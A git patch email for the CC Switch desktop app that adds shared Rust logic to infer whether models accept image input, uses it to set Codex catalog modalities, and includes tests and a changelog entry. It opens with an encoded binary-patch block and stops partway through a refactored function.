zyIo%|zag5WeDTEB)gR2}dtHmucJ%<`xyq+PehpRDirYXPM0kAni!ec7+EfjjdNJV&E^0;{DTlUH$R-E; zsXWk}S!KRD;BsP7>p_Ga9;GpU2x`aB?G_B{v?S2?RY0e$wyjjV7Ijc(*^;~P3_r=5 zjs4-Dzon@if9T6tR50f@bGmxdT~sz)X!?R)8hJ8+|FYD!J9kWsoQx=}&;-tjv4Kw? z?LI1{HJxJi0OaRs%`E8Q)rQ11%NUo`i{B_DG@59@g#S6S76_UNRCDBZQO^o`b{(4-;<-Vs*H$xp5E91>(n~ zP!onrdFKDk0ZH3@48V5R*6+XC&4k)ZXaun-p@ z6N(ab^n<@z6C3yG(PN?eM?UmK$XeTje;jQNsF>9)5{Y zy8DEdl`lq6EFaqGbsadMcJ|oM%I16_$&G=4gX3dHz@|W zhES?x?_$1xA;jPQ^?IHYuau8`Owe*ch~bZf5L1!}D~{%ycr6B8A&->zyN=HkVPWuL zHg>U#=!*wB+-j*MzF4c$nAm7L067(F4ik*qN?dOsTQ{9aNRV*IaA$)bSWMVQ!RgOa z;lWD$Rg%zhZM3MKEBikd3v3$z@q+3S$OlcbaI!CY>qfb!Ksil>dwJqfYMJ*(!U3ZX z=p8xVcGhxTiU+@<{H;DiOu%y?cT^N~|Zz1__EYdmeev8a2r#VfrTcfc{g>h+ZE zZy-dFMt<3J(>(dvGao(h7`NV$i&?g?g&**)#M;3EJH=YOi zvJcqgZu?$z&3JWE4Vk?l5kNaOS)0zWr1ln8ADkZqla`aj2`U(UgRn9GnSE{+%Sa&k z2c1a^(FU_B!t-WMq6{<}K6H$i^3F4+J`|@Tj`Q8KiroY@epg-R-<=ktc!i!D8=P$j zWEIG&wVsql-3pNb&Q7<6cVUEJW%HlbN?tP=?>xrdiUL`YX0fY6jcT$WNz~4M9q7ZR z3vs~|((Bnu>M=RxN1ER~^Hs|`-(d2%Hs|eL1`CtotT8whC~X83O|YN}<|N9QX9MDW z_cdKN*c#<1zhFRiQAPvD(zBtMxk9Ny6tx{tSEHXI&o%Z?PBpRv=sogm+O?%wM#_ed z5V6#SBnbkYyb6gI1ywer>#0b5M}j4T+ZNRgjV+a*I^feU$aDGqLIB@j7E<~j88ey% zkvDlyDml(#V(VoqLO5{if`@h!=5tza(CrFFTk?);0O_=aDpCMOW9}S-4D@#KZ3TVV zkDC^UT})7i0fVO6|DARUqnmyv<2<&%E8Poe6*3INcen3Izwo_l9ec%%ebF0 zD7QBhE=@}}`9$j-RO%VehtLQ%&oClFx8)!)q#UJK*Fib5xs!)~miNDnf{yf=&Zo(4 zNYhE8gQ`O`g#%_oj9eErYCi?)`eMLGcU4hjL5t3RWj~ltP&+U9hnOK)ojS*ie#kMX zuv{?mVOL~Mcfedndj(D?!S`sP^ZeA&{zH}dTHIQ3Am|!F2k_?#gLI*M`ksB*6Y+w7 zt{M((oa^0hl!RL>3-tSWHaUBHvA#JU<@!~IXlW>n-Wl+SA&;ncU65^Qz^90bNA=At zdf;yiXj|V5)3tA8bC(MLfN_`vR6 zMbO1jq%6G+@4y?k8RC;F0%W;EHP*&Y#hHfQp(t0puFQ-j0_+g8Bhb9QmO4>((g9}; zq#^ydk-XxQ_9S>46Duv1W)FUhSy<%VBdwf`;jDLg5NIZ-PYr@H6qzMb$8mq@l@gc`}G8VWqIrJK;#@6}QT4XvcG`^2~rV;O5QfKRSy6@MaTj${~}#C$ohRh0LqzqN>_} zj^c+yRoa_;9G(Fjb>dmP$%rk_g|U{&=0|Q0%fydB!QJd7WQo8$NYQb4O#4&k$Rqcg zoG@IMt;sUf0#U0WhGK!@J{ZrOnkZ1ilpzG@?5c<3#lanTn5_42Z&kip{v3hP9(haA zG%ioF>pLB3vm~A>ThU(A=2qHJ%isa;G_w=Q9NExSLXF8p;D*E3{pF8E49&I?l<(i? zDp@qX#QP5S^SvDc(SKFf4-iyqnx6KmvA4!Dq;O%c1~kO{{I}^?R@i7@%X_t5)~CSM zk9v5^H{EAO`uR(jB6)PCwtu~`JJS^}0QFe-{Wqb(SeHLcY|Cz)JJ3^MKoGuDfK5~V zgtZ)>Wfjo85e-KtAidvM_5wrsT^c0NH>7<(ccPU`Y27AYmemru!h?qeC)|%of0?aR z@~jOqbM9)vfA#AAoR|A00935ceq2(YP4qFl8DP6i-@m9UsT`6Z`dccpS(!Z5oib{0 z)*p?eOfN(!q^@!i=~CR!1IgpVPquR$V+(O;VkbF+px}-+rAJjGKp}BZLU8>wF)y)= zFoA0H6=Tw_ZN;wHd4H^~rkf!f^ZPVQgq=fG7xnrRQ^uU7`BfEVub$0&`MV+ZeJ@@s&me|91m*#3XaTAszp4@{7$*J zWN`kugWV%7x}jZ+#Oa+Qnx~A*@+k8;qHGC$KiGY?n^P%@T)sIOyj?H2DICkm@H-Wk z@pHe=Kn?Aiwjd$<*s)(x)%qoGwl6f6+}|&vT4=Jp@5@Tg;?9n)EF>Kn8FxRPb;<_< zHmmKorF}4&COIXE{AE{$;-^lx`C{NUh^daVd41^ZzE z7!}N)QzS~P)${r&BWW(v`~0}<9`n^H*E;zB!S`u|0W_xu;Hpmw0X~3#Qc;8}l**Zf F{10q!dL94( From ac52c851bfc4854ed0ff8914595a41c41427e495 Mon Sep 17 00:00:00 2001 From: Jason Date: Mon, 13 Jul 2026 16:27:51 +0800 Subject: [PATCH 68/73] fix(codex): infer image capability for generated catalogs and resync takeover live on save MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Mapped GPT models were rejected by Codex clients with "model does not support image inputs". Two root causes: - Catalog entries for native-Responses/Anthropic providers cloned a template whose input_modalities defaulted to ["text"], so every mapped model was advertised text-only. model_catalog_json replaces Codex's built-in model table wholesale, and both the TUI and the IDE extension block images pre-send when the current model is found without "image". - Editing the current Codex provider during proxy takeover only refreshed the DB backup, so removing the mapping left a stale model_catalog_json pointer (and its text-only catalog file) active in live config. Changes: - New shared model_capabilities module: explicit row declaration first, then a confirmed text-only registry (exact tail match only — prefix matching removed, variants enumerated so future -vl/-vision models fail open), everything else unknown. - Catalog generation writes input_modalities from that inference for all tool profiles: unknown models fail open to ["text","image"]; only confirmed text-only models are advertised as ["text"], giving users a clear client-side prompt instead of silent image stripping. - Live catalog reverse-import collapses modalities that match current inference, so registry corrections are not frozen into hidden row overrides and the rectifier's heuristic opt-out keeps working. - Saving the current Codex provider while takeover owns live now re-projects the live config (mirrors the hot-switch path), so mapping edits and removals take effect immediately. - Media rectifier delegates to the shared module; its preflight toggle is documented (4 locales) as proxy-request-only, never affecting catalog capability declarations. --- CHANGELOG.md | 6 + src-tauri/src/codex_config.rs | 172 +++++++++-- src-tauri/src/lib.rs | 1 + src-tauri/src/model_capabilities.rs | 276 ++++++++++++++++++ src-tauri/src/proxy/media_sanitizer.rs | 167 ++--------- src-tauri/src/proxy/types.rs | 8 +- .../codex_native_responses_template.json | 3 +- src-tauri/src/services/provider/mod.rs | 160 +++++++++- src/config/codexProviderPresets.ts | 5 +- src/i18n/locales/en.json | 4 +- src/i18n/locales/ja.json | 4 +- src/i18n/locales/zh-TW.json | 4 +- src/i18n/locales/zh.json | 4 +- src/types.ts | 6 +- 14 files changed, 627 insertions(+), 193 deletions(-) create mode 100644 src-tauri/src/model_capabilities.rs diff --git a/CHANGELOG.md b/CHANGELOG.md index 7bc54d941..5be62964c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,12 @@ All notable changes to CC Switch will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [Unreleased] + +### Changed + +- **Codex Image Capabilities Are Inferred Without a User Toggle**: Generated Codex model catalogs now advertise only models in CC Switch's confirmed, exact text-only registry as `input_modalities = ["text"]`; GPT, aliases, new suffix variants, and all unknown models fail open to `["text", "image"]`. The rectifier's “Text-Only Model Preflight” switch continues to control only proactive proxy request-body replacement and does not change Codex's catalog declaration. Live catalog reverse-import also collapses inferred modalities instead of persisting them as hidden row overrides, so a later registry correction or a model's multimodal upgrade takes effect automatically; only declarations that differ from inference survive a DB-missing/import round-trip. + ## [3.16.5] - 2026-07-01 Development since v3.16.4 reworks the Codex native-Responses path — restoring a generated model catalog for proxy-less direct-connect, decoupling model mapping from the local-routing toggle, and adding a host/model-prefix blacklist that disables Codex's built-in web_search on gateways that reject it — alongside a broad wave of new provider presets (Qiniu and Code0.ai across all seven apps, the FennoAI/ZetaAPI/TeamoRouter/NekoCode partners, and the non-partner Amux), Claude Sonnet 5 pricing plus a default-tier bump to it, a categorized two-level session view with group-level batch selection, live auto-sync of the shared Claude common config on switch, and a run of credential-safety, tool-detection, Doubao model-id, branding, and icon-size fixes. diff --git a/src-tauri/src/codex_config.rs b/src-tauri/src/codex_config.rs index 4a4ed8785..ef8646302 100644 --- a/src-tauri/src/codex_config.rs +++ b/src-tauri/src/codex_config.rs @@ -6,6 +6,7 @@ use crate::config::{ write_json_file, write_text_file, }; use crate::error::AppError; +use crate::model_capabilities::{image_input_capability_from_modalities, ImageInputCapability}; use serde_json::{json, Value}; use std::fs; use std::process::Command; @@ -437,6 +438,17 @@ fn extract_codex_top_level_u64(config_text: &str, field: &str) -> Option { .filter(|value| *value > 0) } +fn codex_catalog_input_modalities( + model: &str, + declared_modalities: Option<&[String]>, +) -> Vec { + let modalities = match image_input_capability_from_modalities(model, declared_modalities) { + ImageInputCapability::Unsupported => &["text"][..], + ImageInputCapability::Supported | ImageInputCapability::Unknown => &["text", "image"][..], + }; + modalities.iter().map(|item| (*item).to_string()).collect() +} + fn codex_catalog_model_entry( template: &Value, spec: &CodexCatalogModelSpec, @@ -459,6 +471,18 @@ fn codex_catalog_model_entry( entry_obj.insert("availability_nux".to_string(), Value::Null); entry_obj.insert("upgrade".to_string(), Value::Null); + // Image support is a model capability, not a tool-profile capability. + // Trust hidden preset metadata first, then the confirmed text-only registry; + // every unknown model fails open so GPT/relay aliases are never declared + // text-only merely because a template had a conservative default. + entry_obj.insert( + "input_modalities".to_string(), + json!(codex_catalog_input_modalities( + &spec.model, + spec.input_modalities.as_deref(), + )), + ); + if profile != CodexCatalogToolProfile::ProxyChat { // Native `/responses` and Anthropic gateways reject / drop Codex's freeform // `apply_patch` (type=="custom") tool. Strip any key that would make Codex @@ -491,9 +515,6 @@ fn codex_catalog_model_entry( if let Some(parallel) = spec.supports_parallel_tool_calls { entry_obj.insert("supports_parallel_tool_calls".to_string(), json!(parallel)); } - if let Some(modalities) = &spec.input_modalities { - entry_obj.insert("input_modalities".to_string(), json!(modalities)); - } } entry @@ -507,8 +528,9 @@ struct CodexCatalogModelSpec { /// Per-row override for the native template's `supports_parallel_tool_calls` /// (e.g. MiniMax=true, MiMo=false). Only consulted for `NativeResponses`. supports_parallel_tool_calls: Option, - /// Per-row override for the native template's `input_modalities` - /// (e.g. `["text","image"]`). Only consulted for `NativeResponses`. + /// Hidden per-row capability declaration from built-in provider metadata. + /// When omitted, all catalog profiles consult the shared text-only model + /// registry and otherwise default to `["text", "image"]`. input_modalities: Option>, /// Per-row override for the native template's `base_instructions` (the /// model identity / system preamble). Carries each vendor's OFFICIAL value @@ -1000,7 +1022,7 @@ pub fn prepare_codex_config_text_with_model_catalog( /// Reverse of `prepare_codex_config_text_with_model_catalog`: read the /// cc-switch–maintained catalog file referenced by `~/.codex/config.toml` and /// convert it back into the simplified shape the frontend table uses: -/// `{ "models": [{ "model", "displayName"?, "contextWindow"? }, ...] }`. +/// `{ "models": [{ "model", "displayName"?, "contextWindow"?, hidden overrides... }, ...] }`. /// /// We only reverse-parse catalogs whose `model_catalog_json` path is the /// cc-switch–generated file (identified by filename @@ -1008,14 +1030,14 @@ pub fn prepare_codex_config_text_with_model_catalog( /// left alone — surfacing its richer structure as the simplified table would /// be a downgrade we can't safely round-trip. /// -/// `displayName` and `contextWindow` are omitted from the returned entry when -/// the on-disk value matches the fallback that +/// `displayName`, `contextWindow`, and `inputModalities` are omitted from the +/// returned entry when the on-disk value matches the fallback that /// `codex_model_catalog_from_settings` injects for unset inputs (slug for -/// display_name, `model_context_window` or 128_000 for context_window). This -/// preserves the "user left it blank" intent across round-trip; an unavoidable -/// edge case is that a user-typed value that happens to equal the fallback -/// will also collapse to blank, but the next save writes the same fallback so -/// behavior stays consistent. +/// display_name, `model_context_window` or 128_000 for context_window, and the +/// shared confirmed-text-only inference for input modalities). This preserves +/// the "user left it blank" intent across round-trip; an unavoidable edge case +/// is that a user-typed value that happens to equal the fallback also collapses +/// to blank, but the next save writes the same fallback so behavior is stable. /// /// All failure modes (missing file, parse error, no `model_catalog_json`, /// entries without `slug`) collapse to `Ok(None)` so callers can treat this @@ -1070,9 +1092,8 @@ pub(crate) fn resolve_cc_switch_catalog_path( } /// Pure reverse-parsing core: convert Codex catalog JSON text back into the -/// frontend's simplified `{ models: [{ model, displayName?, contextWindow? }] }` -/// shape. Returns `None` when the catalog is unparseable, has no `models` -/// array, or yields zero valid entries. +/// frontend's simplified model-mapping shape. Returns `None` when the catalog +/// is unparseable, has no `models` array, or yields zero valid entries. fn build_simplified_catalog_from_texts(config_text: &str, catalog_text: &str) -> Option { let catalog: Value = serde_json::from_str(catalog_text).ok()?; let models = catalog.get("models").and_then(|m| m.as_array())?; @@ -1112,8 +1133,7 @@ fn build_simplified_catalog_from_texts(config_text: &str, catalog_text: &str) -> } // Preserve native-profile per-row overrides so a DB-SSOT-missing - // fallback round-trip doesn't silently drop them (they are ignored by - // the ProxyChat profile, so carrying them is harmless). + // fallback round-trip doesn't silently drop them. if let Some(parallel) = entry .get("supports_parallel_tool_calls") .and_then(|v| v.as_bool()) @@ -1126,7 +1146,8 @@ fn build_simplified_catalog_from_texts(config_text: &str, catalog_text: &str) -> .filter_map(|m| m.as_str()) .map(str::to_string) .collect(); - if !mods.is_empty() { + let inferred = codex_catalog_input_modalities(model, None); + if !mods.is_empty() && mods != inferred { obj.insert("inputModalities".to_string(), json!(mods)); } } @@ -2797,6 +2818,85 @@ base_url = "https://production.api/v1" ); } + #[test] + fn catalog_infers_image_input_independently_of_tool_profile() { + // Start from a deliberately text-only template to prove that every + // profile overwrites template defaults with shared capability logic. + let template = json!({ + "input_modalities": ["text"], + "apply_patch_tool_type": "freeform" + }); + let specs = vec![ + CodexCatalogModelSpec { + model: "gpt-5.4".to_string(), + display_name: "GPT 5.4".to_string(), + context_window: 128_000, + supports_parallel_tool_calls: None, + input_modalities: None, + base_instructions: None, + }, + CodexCatalogModelSpec { + model: "deepseek/deepseek-v4-pro".to_string(), + display_name: "DeepSeek V4 Pro".to_string(), + context_window: 128_000, + supports_parallel_tool_calls: None, + input_modalities: None, + base_instructions: None, + }, + CodexCatalogModelSpec { + model: "glm-5.2v".to_string(), + display_name: "GLM 5.2V".to_string(), + context_window: 128_000, + supports_parallel_tool_calls: None, + input_modalities: None, + base_instructions: None, + }, + CodexCatalogModelSpec { + model: "deepseek-v4-flash".to_string(), + display_name: "Explicit Visual Override".to_string(), + context_window: 128_000, + supports_parallel_tool_calls: None, + input_modalities: Some(vec!["text".to_string(), "image".to_string()]), + base_instructions: None, + }, + CodexCatalogModelSpec { + model: "custom-text-alias".to_string(), + display_name: "Explicit Text Override".to_string(), + context_window: 128_000, + supports_parallel_tool_calls: None, + input_modalities: Some(vec!["text".to_string()]), + base_instructions: None, + }, + ]; + + for profile in [ + CodexCatalogToolProfile::ProxyChat, + CodexCatalogToolProfile::NativeResponses, + CodexCatalogToolProfile::Anthropic, + ] { + let catalog = codex_model_catalog_from_specs(&specs, &template, profile); + let models = catalog["models"].as_array().expect("models array"); + let modalities = |slug: &str| { + models + .iter() + .find(|entry| entry["slug"] == slug) + .and_then(|entry| entry.get("input_modalities")) + .cloned() + .unwrap_or(Value::Null) + }; + + assert_eq!(modalities("gpt-5.4"), json!(["text", "image"])); + assert_eq!(modalities("deepseek/deepseek-v4-pro"), json!(["text"])); + assert_eq!(modalities("glm-5.2v"), json!(["text", "image"])); + assert_eq!( + modalities("deepseek-v4-flash"), + json!(["text", "image"]), + "explicit provider metadata must override the text-only registry" + ); + assert_eq!(modalities("custom-text-alias"), json!(["text"])); + } + } + #[test] fn native_responses_catalog_always_carries_base_instructions() { // Regression guard for the "missing field `base_instructions`" parse @@ -3146,6 +3246,40 @@ web_search = "disabled" ); } + #[test] + fn build_simplified_catalog_squashes_inferred_modalities_and_keeps_overrides() { + let catalog = r#"{ + "models": [ + { "slug": "gpt-5.4", "input_modalities": ["text", "image"] }, + { "slug": "deepseek-v4-pro", "input_modalities": ["text"] }, + { "slug": "gpt-text-override", "input_modalities": ["text"] }, + { "slug": "deepseek-v4-flash", "input_modalities": ["text", "image"] } + ] + }"#; + + let result = build_simplified_catalog_from_texts("", catalog).expect("entries"); + let models = result.get("models").unwrap().as_array().unwrap(); + + assert!( + models[0].get("inputModalities").is_none(), + "GPT text+image is inferred and must not become a sticky hidden override" + ); + assert!( + models[1].get("inputModalities").is_none(), + "confirmed text-only capability is inferred and must remain registry-driven" + ); + assert_eq!( + models[2].get("inputModalities"), + Some(&json!(["text"])), + "an unknown model explicitly forced to text-only must round-trip" + ); + assert_eq!( + models[3].get("inputModalities"), + Some(&json!(["text", "image"])), + "an explicit image override for a registered text-only model must round-trip" + ); + } + #[test] fn build_simplified_catalog_returns_none_when_unparseable() { assert!(build_simplified_catalog_from_texts("", "not json").is_none()); diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index 86a78b234..b2b214c1a 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -20,6 +20,7 @@ mod lightweight; #[cfg(target_os = "linux")] mod linux_fix; mod mcp; +mod model_capabilities; mod openclaw_config; mod opencode_config; mod panic_hook; diff --git a/src-tauri/src/model_capabilities.rs b/src-tauri/src/model_capabilities.rs new file mode 100644 index 000000000..2070204ae --- /dev/null +++ b/src-tauri/src/model_capabilities.rs @@ -0,0 +1,276 @@ +use serde_json::Value; + +/// Image-input capability shared by Codex catalog generation and proxy request +/// rectification. +/// +/// `Unknown` is intentionally distinct from `Supported`: callers may choose +/// different execution policies without duplicating the model-name registry. +/// The Codex catalog treats unknown models as image-capable (fail open), while +/// the media rectifier leaves their request bodies untouched. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum ImageInputCapability { + Supported, + Unsupported, + Unknown, +} + +/// Resolve image-input capability from an explicit declaration first, then the +/// confirmed text-only model registry when the caller enables registry lookup. +pub(crate) fn resolve_image_input_capability( + model: &str, + declared_support: Option, + use_confirmed_registry: bool, +) -> ImageInputCapability { + match declared_support { + Some(true) => ImageInputCapability::Supported, + Some(false) => ImageInputCapability::Unsupported, + None if use_confirmed_registry && is_confirmed_text_only_model(model) => { + ImageInputCapability::Unsupported + } + None => ImageInputCapability::Unknown, + } +} + +/// Resolve a model's image-input capability from the provider settings shapes +/// accepted by the proxy (`modelCatalog.models`, `modelCatalog`, or `models`). +pub(crate) fn image_input_capability_from_settings( + settings: &Value, + model: &str, + use_confirmed_registry: bool, +) -> ImageInputCapability { + resolve_image_input_capability( + model, + declared_model_image_support(settings, model), + use_confirmed_registry, + ) +} + +/// Convert a catalog row's explicit modality list into the shared capability +/// representation, falling back to the text-only registry when omitted. +pub(crate) fn image_input_capability_from_modalities( + model: &str, + modalities: Option<&[String]>, +) -> ImageInputCapability { + let declared_support = modalities.map(|items| { + items + .iter() + .any(|item| item.trim().eq_ignore_ascii_case("image")) + }); + resolve_image_input_capability(model, declared_support, true) +} + +/// Models that CC Switch is willing to advertise to clients as text-only. +/// +/// This registry is deliberately exact and fail-open. A new suffix is not +/// inherited automatically: it remains image-capable until its capability is +/// confirmed, preventing a future `-vision`/`-vl` variant from being blocked by +/// the Codex client before a request can reach the proxy. +pub(crate) fn is_confirmed_text_only_model(model: &str) -> bool { + let normalized = normalize_model_id(model); + let tail = normalized.rsplit('/').next().unwrap_or(normalized.as_str()); + + const CONFIRMED_TAILS: &[&str] = &[ + "ark-code-latest", + "deepseek-chat", + "deepseek-reasoner", + "deepseek-v4-flash", + "deepseek-v4-pro", + "glm-5.1", + // Exact rather than prefix matching: GLM visual models use a `v` + // suffix (for example glm-5.2v), which must remain image-capable. + "glm-5.2", + "kat-coder", + "kat-coder-pro", + "kat-coder-pro v1", + "kat-coder-pro v2", + "kat-coder-pro-v1", + "kat-coder-pro-v2", + "ling-2.5-1t", + "longcat-2.0", + "longcat-flash-chat", + "minimax-m2.7", + "minimax-m2.7-highspeed", + "mimo-v2.5-pro", + "qwen3-coder-480b", + "qwen3-coder-480b-a35b-instruct", + "qwen3-coder-flash", + "qwen3-coder-next", + "qwen3-coder-plus", + "step-3.5-flash", + "step-3.5-flash-2603", + "us.deepseek.r1-v1", + ]; + + CONFIRMED_TAILS.contains(&tail) +} + +fn declared_model_image_support(settings: &Value, model: &str) -> Option { + [ + settings + .get("modelCatalog") + .and_then(|catalog| catalog.get("models")), + settings.get("modelCatalog"), + settings.get("models"), + ] + .into_iter() + .flatten() + .find_map(|value| declared_model_image_support_in_value(value, model)) +} + +fn declared_model_image_support_in_value(value: &Value, model: &str) -> Option { + if let Some(models) = value.as_array() { + return models.iter().find_map(|entry| { + model_entry_matches(entry, None, model).then(|| explicit_image_support(entry))? + }); + } + + let object = value.as_object()?; + object.iter().find_map(|(key, entry)| { + model_entry_matches(entry, Some(key), model).then(|| explicit_image_support(entry))? + }) +} + +fn explicit_image_support(entry: &Value) -> Option { + if let Some(value) = entry + .get("supportsImage") + .or_else(|| entry.get("supports_image")) + .or_else(|| entry.get("vision")) + .and_then(Value::as_bool) + { + return Some(value); + } + + [ + entry.get("input"), + entry.pointer("/modalities/input"), + entry.get("input_modalities"), + entry.get("inputModalities"), + ] + .into_iter() + .flatten() + .find_map(input_modalities_support_image) +} + +fn input_modalities_support_image(value: &Value) -> Option { + let modalities = value.as_array()?; + Some(modalities.iter().any(|item| { + item.as_str() + .map(str::trim) + .is_some_and(|item| item.eq_ignore_ascii_case("image")) + })) +} + +fn model_entry_matches(entry: &Value, key: Option<&str>, model: &str) -> bool { + key.is_some_and(|key| model_ids_match(key, model)) + || ["model", "id", "name"] + .into_iter() + .filter_map(|field| entry.get(field).and_then(Value::as_str)) + .any(|candidate| model_ids_match(candidate, model)) +} + +fn model_ids_match(candidate: &str, model: &str) -> bool { + let candidate = normalize_model_id(candidate); + let model = normalize_model_id(model); + if candidate.is_empty() || model.is_empty() { + return false; + } + if candidate == model { + return true; + } + + let candidate_tail = candidate.rsplit('/').next().unwrap_or(candidate.as_str()); + let model_tail = model.rsplit('/').next().unwrap_or(model.as_str()); + candidate_tail == model_tail || candidate == model_tail || candidate_tail == model +} + +fn normalize_model_id(value: &str) -> String { + let mut normalized = value + .trim() + .trim_start_matches("models/") + .trim() + .to_ascii_lowercase(); + if let Some(stripped) = + normalized.strip_suffix(crate::claude_desktop_config::ONE_M_CONTEXT_MARKER) + { + normalized = stripped.trim().to_string(); + } + normalized +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn gpt_and_unknown_models_remain_unknown_without_declarations() { + for model in ["gpt-5.4", "gpt-5.5", "gpt-5.6-sol", "custom-alias"] { + assert_eq!( + resolve_image_input_capability(model, None, true), + ImageInputCapability::Unknown, + "{model} must fail open" + ); + } + } + + #[test] + fn confirmed_text_only_registry_normalizes_namespaces_and_context_markers() { + assert!(is_confirmed_text_only_model("deepseek/deepseek-v4-pro")); + assert!(is_confirmed_text_only_model("GLM-5.2[1M]")); + assert!(is_confirmed_text_only_model("qwen/qwen3-coder-plus")); + assert!(is_confirmed_text_only_model( + "Qwen/Qwen3-Coder-480B-A35B-Instruct" + )); + assert!(is_confirmed_text_only_model("MiniMax-M2.7-Highspeed")); + assert!(is_confirmed_text_only_model("step-3.5-flash-2603")); + assert!(!is_confirmed_text_only_model("glm-5.2v")); + } + + #[test] + fn unconfirmed_family_suffixes_fail_open() { + for model in [ + "minimax-m2.7-vision", + "qwen3-coder-ultra", + "qwen3-coder-vl", + "step-3.5-flash-vision", + ] { + assert!( + !is_confirmed_text_only_model(model), + "unconfirmed variant {model} must not be hard-gated" + ); + } + } + + #[test] + fn explicit_capability_overrides_the_registry() { + assert_eq!( + resolve_image_input_capability("deepseek-v4-pro", Some(true), true), + ImageInputCapability::Supported + ); + assert_eq!( + resolve_image_input_capability("gpt-5.4", Some(false), true), + ImageInputCapability::Unsupported + ); + } + + #[test] + fn provider_settings_support_multiple_capability_shapes() { + let settings = json!({ + "modelCatalog": { + "models": [ + { "model": "vision", "modalities": { "input": ["text", "image"] } }, + { "model": "text", "inputModalities": ["text"] } + ] + } + }); + + assert_eq!( + image_input_capability_from_settings(&settings, "vision", true), + ImageInputCapability::Supported + ); + assert_eq!( + image_input_capability_from_settings(&settings, "text", true), + ImageInputCapability::Unsupported + ); + } +} diff --git a/src-tauri/src/proxy/media_sanitizer.rs b/src-tauri/src/proxy/media_sanitizer.rs index 880b18fa4..ec1b4ea0c 100644 --- a/src-tauri/src/proxy/media_sanitizer.rs +++ b/src-tauri/src/proxy/media_sanitizer.rs @@ -1,3 +1,6 @@ +#[cfg(test)] +use crate::model_capabilities::is_confirmed_text_only_model as confirmed_text_only_model; +use crate::model_capabilities::{image_input_capability_from_settings, ImageInputCapability}; use crate::provider::Provider; use crate::proxy::error::ProxyError; use serde_json::{json, Value}; @@ -9,9 +12,9 @@ pub const UNSUPPORTED_IMAGE_MARKER: &str = "[Unsupported Image]"; /// Two paths, both reached only when the caller's media-fallback switch is on: /// - explicit capability from the provider config (modelCatalog / modalities) is /// always trusted — it is declaration-driven, never a guess; -/// - the curated `known_text_only_model` list is a heuristic *prediction* and only -/// runs when `allow_heuristic` is true, so a mislabeled multimodal model cannot -/// have its images silently stripped when the user opts out. +/// - the confirmed text-only registry is used for proactive replacement only +/// when `allow_heuristic` is true. This switch controls silent request-body +/// mutation, not the capability truth advertised by the Codex model catalog. pub fn replace_images_for_text_only_model( body: &mut Value, provider: &Provider, @@ -27,13 +30,9 @@ pub fn replace_images_for_text_only_model( .map(str::trim) .unwrap_or(""); - match explicit_model_image_support(provider, model) { - Some(true) => return 0, - Some(false) => return replace_images_in_body(body), - None => {} - } - - if !allow_heuristic || !known_text_only_model(model) { + if image_input_capability_from_settings(&provider.settings_config, model, allow_heuristic) + != ImageInputCapability::Unsupported + { return 0; } @@ -237,95 +236,6 @@ fn replace_image_block_with_text_marker(block: &mut Value, text_type: &str) { } } -fn explicit_model_image_support(provider: &Provider, model: &str) -> Option { - let settings = &provider.settings_config; - [ - settings - .get("modelCatalog") - .and_then(|catalog| catalog.get("models")), - settings.get("modelCatalog"), - settings.get("models"), - ] - .into_iter() - .flatten() - .find_map(|value| explicit_model_image_support_in_value(value, model)) -} - -fn known_text_only_model(model: &str) -> bool { - let normalized = normalize_model_id(model); - let tail = normalized.rsplit('/').next().unwrap_or(normalized.as_str()); - - const EXACT_TAILS: &[&str] = &[ - "ark-code-latest", - "deepseek-chat", - "deepseek-reasoner", - "deepseek-v4-flash", - "deepseek-v4-pro", - "glm-5.1", - // 精确匹配而非 TAIL_PREFIXES:智谱视觉版沿用 4v/5v 命名(glm-5.2v), - // 前缀匹配会误剥未来多模态变体的图片。 - "glm-5.2", - "kat-coder", - "kat-coder-pro", - "kat-coder-pro v1", - "kat-coder-pro v2", - "kat-coder-pro-v1", - "kat-coder-pro-v2", - "ling-2.5-1t", - "longcat-2.0", - "longcat-flash-chat", - "mimo-v2.5-pro", - "us.deepseek.r1-v1", - ]; - - const TAIL_PREFIXES: &[&str] = &["minimax-m2.7", "qwen3-coder", "step-3.5-flash"]; - - EXACT_TAILS.contains(&tail) || TAIL_PREFIXES.iter().any(|prefix| tail.starts_with(prefix)) -} - -fn explicit_model_image_support_in_value(value: &Value, model: &str) -> Option { - if let Some(models) = value.as_array() { - return models.iter().find_map(|entry| { - model_entry_matches(entry, None, model).then(|| explicit_image_support(entry))? - }); - } - - let object = value.as_object()?; - object.iter().find_map(|(key, entry)| { - model_entry_matches(entry, Some(key), model).then(|| explicit_image_support(entry))? - }) -} - -fn explicit_image_support(entry: &Value) -> Option { - if let Some(value) = entry - .get("supportsImage") - .or_else(|| entry.get("supports_image")) - .or_else(|| entry.get("vision")) - .and_then(Value::as_bool) - { - return Some(value); - } - - [ - entry.get("input"), - entry.pointer("/modalities/input"), - entry.get("input_modalities"), - entry.get("inputModalities"), - ] - .into_iter() - .flatten() - .find_map(input_modalities_support_image) -} - -fn input_modalities_support_image(value: &Value) -> Option { - let modalities = value.as_array()?; - Some(modalities.iter().any(|item| { - item.as_str() - .map(str::trim) - .is_some_and(|item| item.eq_ignore_ascii_case("image")) - })) -} - fn extract_error_text(body: &str) -> String { if let Ok(value) = serde_json::from_str::(body) { let candidates = [ @@ -350,43 +260,6 @@ fn extract_error_text(body: &str) -> String { body.to_string() } -fn model_entry_matches(entry: &Value, key: Option<&str>, model: &str) -> bool { - key.is_some_and(|key| model_ids_match(key, model)) - || ["model", "id", "name"] - .into_iter() - .filter_map(|field| entry.get(field).and_then(Value::as_str)) - .any(|candidate| model_ids_match(candidate, model)) -} - -fn model_ids_match(candidate: &str, model: &str) -> bool { - let candidate = normalize_model_id(candidate); - let model = normalize_model_id(model); - if candidate.is_empty() || model.is_empty() { - return false; - } - if candidate == model { - return true; - } - - let candidate_tail = candidate.rsplit('/').next().unwrap_or(candidate.as_str()); - let model_tail = model.rsplit('/').next().unwrap_or(model.as_str()); - candidate_tail == model_tail || candidate == model_tail || candidate_tail == model -} - -fn normalize_model_id(value: &str) -> String { - let mut normalized = value - .trim() - .trim_start_matches("models/") - .trim() - .to_ascii_lowercase(); - if let Some(stripped) = - 